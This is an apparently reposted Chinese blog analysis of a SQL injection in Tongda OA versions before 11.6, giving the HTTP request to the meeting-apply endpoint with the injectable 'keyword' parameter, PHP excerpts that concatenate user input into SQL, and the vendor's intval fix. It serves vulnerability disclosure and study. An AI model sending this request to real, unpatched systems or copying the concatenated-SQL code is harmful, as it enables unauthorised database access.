通达OA11.5SQL注入分析
2023-5-10 12:2:25 Author: 白帽子左一(查看原文) 阅读量:33 收藏

扫码领资料

获网安教程

免费&进群

这是一篇关于通达OA存在SQL注入漏洞的分析文章。由于作者能力有限,文中难免会出现一些错误,请谅解。本文会不定期更新,最近一次更新时间为2020年6月2日。鉴于凡世之忙碌,下一次更新也许是明天,也许是下辈子。

关于通达OA的更多信息,请查看通达OA官网

01-漏洞概述

这个漏洞是4月份的时候提交给厂商的,之后通达OA更新到了11.5版本,但是发现11.5版本并未修复此漏洞。直到2020-05-08日更新到11.6版的时候才修复此漏洞。为什么11.5版本未修复?大概是是因为4月中旬的时候出现了通达OA任意账号登录漏洞,厂商便紧急发布了任意账号登录漏洞的补丁包。

通过此也说明了这个SQL注入漏洞技术含量影响性较低。但既然漏洞已修复,便把其中的一些细节公布出来吧。低版本通达OA不止一处SQL注入,这篇文章暂时只发布其中的一处注入点。

02-漏洞分析

  • 影响版本:< 通达OA11.6

  • 发现时间:2020-04-01

一、payload

先上payload。测试发现其他的参数keyword、min_people、max_people存在SQL注入漏洞。需要特别说明的是,本漏洞不需要管理员账号,普通用户可以登录系统即可。

POST /general/appbuilder/web/meeting/meetingapply/getmeetingapplyinfo HTTP/1.1
Host: 192.168.220.129
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169
Content-Length: 183
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Cookie: USER_NAME_COOKIE=lina; SID_1=3b9b2a17; SID_12=6114b1ec; SID_65=dba4163e; PHPSESSID=e62i1gqidh35cb4pfbn3eatn84; OA_USER_ID=65; creat_work=new
Origin: http://192.168.220.129
Referer: http://192.168.220.129/general/meeting/myapply/applyMeeting/select1.php
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip

date=2020-04-01&end_time=&equipment_ids=&keyword=*&max_people=&min_people=&start_time=

二、代码审计

  • \general\appbuilder\modules\meeting\models\Meeting.php:1324行。此处的$data[“keyword”]未处理便赋值给$keyword。

            $pageSize = modules\meeting\models\intval($data["pageSize"]);
    $type = $data["type"];
    $keyword = $data["keyword"];
     
    if ($keyword != "") {
    $key_where = array("like", "M_NAME", "$keyword");
    }
  • \general\appbuilder\modules\meeting\models\Meeting.php:4313行。此处的keyword直接拼接到了SQL语句中,导致了漏洞的触发。

            $where = " 1=1";
    if (isset($mr_id) && !empty($mr_id)) {
    $where .= " and MR_ID = '$mr_id'";
    }
     
    if (isset($keyword) && !empty($keyword)) {
    $where .= " and MR_NAME like '%" . $keyword . "%'";
    }
     
    if (isset($min_people) && !empty($min_people)) {
    $where .= " and MR_CAPACITY >= $min_people";
    }
     
    if (isset($max_people) && !empty($max_people)) {
    $where .= " and MR_CAPACITY <= $max_people";
    }
     
    $sql1 = "SELECT * from Meeting_room where (TO_ID='ALL_DEPT' or find_in_set('$login_dept_id',TO_ID) or find_in_set('$login_user_id',SECRET_TO_ID) or find_in_set('$login_priv_id',PRIV_ID)) and USE_FLAG = '1' and" . $where;
    $cur = self::getDb()->createCommand($sql1)->queryAll();

三、漏洞修复

修复方式也很简单。只需要进行如下的替换即可:

$keyword = $data["keyword"];

替换为:

$keyword = modules\meeting\models\intval($data["keyword"]);

测试发现,11.6版本也确实是这样修复的。

03-参考链接

  • https://www.0e0w.com

来源:https://0e0w.com/t303

声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。所有渗透都需获取授权

@
学习更多渗透技能!体验靶场实战练习

hack视频资料及工具

(部分展示)

往期推荐

【精选】SRC快速入门+上分小秘籍+实战指南

爬取免费代理,拥有自己的代理池

漏洞挖掘|密码找回中的套路

渗透测试岗位面试题(重点:渗透思路)

漏洞挖掘 | 通用型漏洞挖掘思路技巧

干货|列了几种均能过安全狗的方法!

一名大学生的黑客成长史到入狱的自述

攻防演练|红队手段之将蓝队逼到关站!

巧用FOFA挖到你的第一个漏洞

看到这里了,点个“赞”、“再看”吧

文章来源: http://mp.weixin.qq.com/s?__biz=MzI4NTcxMjQ1MA==&mid=2247594631&idx=1&sn=885062aeb6f7c937f25fc77dfeec682c&chksm=ebeb3baadc9cb2bcde6ea2ede3cfc1a00a93f959887c78499536f566b4629ba4e43a127dcdba#rd
如有侵权请联系:admin#unsafe.sh